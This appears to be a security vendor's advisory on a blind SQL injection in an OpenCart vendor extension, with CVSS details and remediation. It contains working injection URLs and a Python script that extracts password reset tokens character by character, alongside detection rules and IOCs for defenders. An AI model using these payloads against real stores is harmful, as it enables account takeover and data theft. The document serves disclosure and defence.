CVE-2021-47928
Executive Summary
CVE-2021-47928 is a critical blind SQL injection vulnerability in the OpenCart TMD Vendor System extension (version 3.x). An unauthenticated attacker can inject malicious SQL code through the product_id parameter, enabling time-based or content-based blind extraction of sensitive data from the oc_user table, including usernames, email addresses, and password reset tokens. The vulnerability has a CVSS score of 8.2 (High) and is publicly known with proof-of-concept code available. No official patch has been released by the vendor, leaving all installations of the TMD Vendor System 3.x at risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a third-party extension (TMD Vendor System) for the OpenCart e-commerce platform. It is not an NPM, PyPI, Go, or Ruby package, but rather a PHP-based extension distributed via the OpenCart marketplace. Organizations using OpenCart with this extension should treat it as a supply chain risk and verify the integrity of the extension files.
CVSS Breakdown & Threat Level
- CVSS Score: 8.2 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
The high confidentiality impact stems from the ability to extract password reset tokens, which can lead to account takeover. The low attack complexity and no required privileges make this a high-priority threat.
Deep Dive & Mechanics
The vulnerability resides in the product_id parameter used in the TMD Vendor System's product listing or detail functionality. The application fails to sanitize or parameterize user input before incorporating it into SQL queries. An attacker can inject SQL commands using blind injection techniques:
- Time-based blind injection: Using
SLEEP()orBENCHMARK()functions to infer true/false conditions based on response delay. - Content-based blind injection: Using
IF()orCASEstatements to alter response content based on database values.
The injection point is in a GET or POST parameter (likely product_id) that is directly concatenated into a SQL query. For example, a vulnerable query might look like:
SELECT * FROM oc_product WHERE product_id = $_GET['product_id']
An attacker can inject:
1 AND (SELECT IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) FROM oc_user LIMIT 1)
This allows enumeration of the oc_user table, extracting password reset codes (stored as plaintext or hashed) and other sensitive fields.
Vulnerable vs. Patched Code
Vulnerable Code (PHP):
$product_id = $_GET['product_id'];
$query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product WHERE product_id = '" . $product_id . "'");
Patched Code (Parameterized Query):
$product_id = (int)$_GET['product_id']; // Cast to integer
$query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product WHERE product_id = ?", array($product_id));
The patched version uses type casting and parameterized queries to prevent SQL injection. Since no official patch exists, manual remediation is required.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- OpenCart installation with TMD Vendor System 3.x
- Access to a product page with a
product_idparameter
Exploitation Steps:
- Identify the vulnerable parameter: Navigate to a product page and observe the URL:
http://target.com/index.php?route=product/product&product_id=1 - Test for time-based blind injection:
If the page takes 5 seconds to load, the injection is successful.http://target.com/index.php?route=product/product&product_id=1 AND SLEEP(5) - Extract database version:
http://target.com/index.php?route=product/product&product_id=1 AND (SELECT IF(SUBSTRING(@@version,1,1)='5', SLEEP(5), 0)) - Enumerate users from
oc_user:http://target.com/index.php?route=product/product&product_id=1 AND (SELECT IF(SUBSTRING((SELECT username FROM oc_user LIMIT 1),1,1)='a', SLEEP(5), 0)) - Extract password reset codes:
http://target.com/index.php?route=product/product&product_id=1 AND (SELECT IF(SUBSTRING((SELECT token FROM oc_user WHERE user_id=1),1,1)='a', SLEEP(5), 0))
Automated Exploit (Python):
import requests
import time
target = "http://target.com/index.php?route=product/product&product_id=1"
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
extracted = ""
for i in range(1, 33): # Assuming token length 32
for char in charset:
payload = f"1 AND (SELECT IF(SUBSTRING((SELECT token FROM oc_user LIMIT 1),{i},1)='{char}', SLEEP(2), 0))"
start = time.time()
r = requests.get(target + "&product_id=" + payload)
elapsed = time.time() - start
if elapsed > 1.5:
extracted += char
print(f"Found char {i}: {char}")
break
print(f"Token: {extracted}")
Blue Team (Defense & Detection)
Detection Steps:
- Monitor web server logs for unusual
product_idvalues containing SQL keywords (e.g.,SLEEP,BENCHMARK,UNION,SELECT). - Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Implement input validation: cast
product_idto integer and reject non-numeric input. - Use database activity monitoring to detect slow queries or abnormal query patterns.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with
product_idcontainingSLEEP(),BENCHMARK(), orIF()functions. - Repeated requests with incremental
product_idvalues and varying response times.
- HTTP requests with
- Log IOCs:
- Web server logs showing
product_idvalues with SQL syntax (e.g.,1' AND 1=1--). - Database logs showing queries with
SLEEP()orBENCHMARK()functions.
- Web server logs showing
- File IOCs:
- Modified
catalog/controller/product/product.phpor similar files in the TMD Vendor System directory.
- Modified
Detection Engineering
YARA Rule
rule CVE_2021_47928_Blind_SQLi {
meta:
description = "Detects blind SQL injection attempts targeting OpenCart TMD Vendor System product_id parameter"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2021-47928"
strings:
$sleeper = /product_id=[0-9]+.*SLEEP\(/ nocase
$benchmark = /product_id=[0-9]+.*BENCHMARK\(/ nocase
$if_inject = /product_id=[0-9]+.*IF\(/ nocase
$union_inject = /product_id=[0-9]+.*UNION.*SELECT/ nocase
condition:
any of them
}
Sigma Rule
title: Blind SQL Injection Attempt Against OpenCart TMD Vendor System
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with SQL injection patterns in the product_id parameter
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- 'product_id=*SLEEP('
- 'product_id=*BENCHMARK('
- 'product_id=*IF('
- 'product_id=*UNION*SELECT'
condition: selection
falsepositives:
- Legitimate use of SQL functions in rare cases (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2021-47928 Blind SQL Injection Attempt";
flow:to_server,established;
content:"product_id="; nocase;
pcre:"/product_id=[0-9]+.*(SLEEP|BENCHMARK|IF|UNION)/i";
sid:1000001;
rev:1;
metadata: CVE CVE-2021-47928;
)
Remediation & Mitigation
- Immediate Action: Disable or uninstall the TMD Vendor System extension until a patch is available.
- Input Validation: Modify the vulnerable code to cast
product_idto an integer:$product_id = (int)$_GET['product_id']; - Parameterized Queries: Rewrite all database queries using prepared statements or parameterized queries.
- WAF Rules: Deploy a Web Application Firewall with rules to block SQL injection patterns.
- Monitoring: Enable detailed logging for all database queries and monitor for anomalies.
- User Education: Advise users to change passwords and invalidate existing password reset tokens.
Valters IT
Securing Digital Frontiers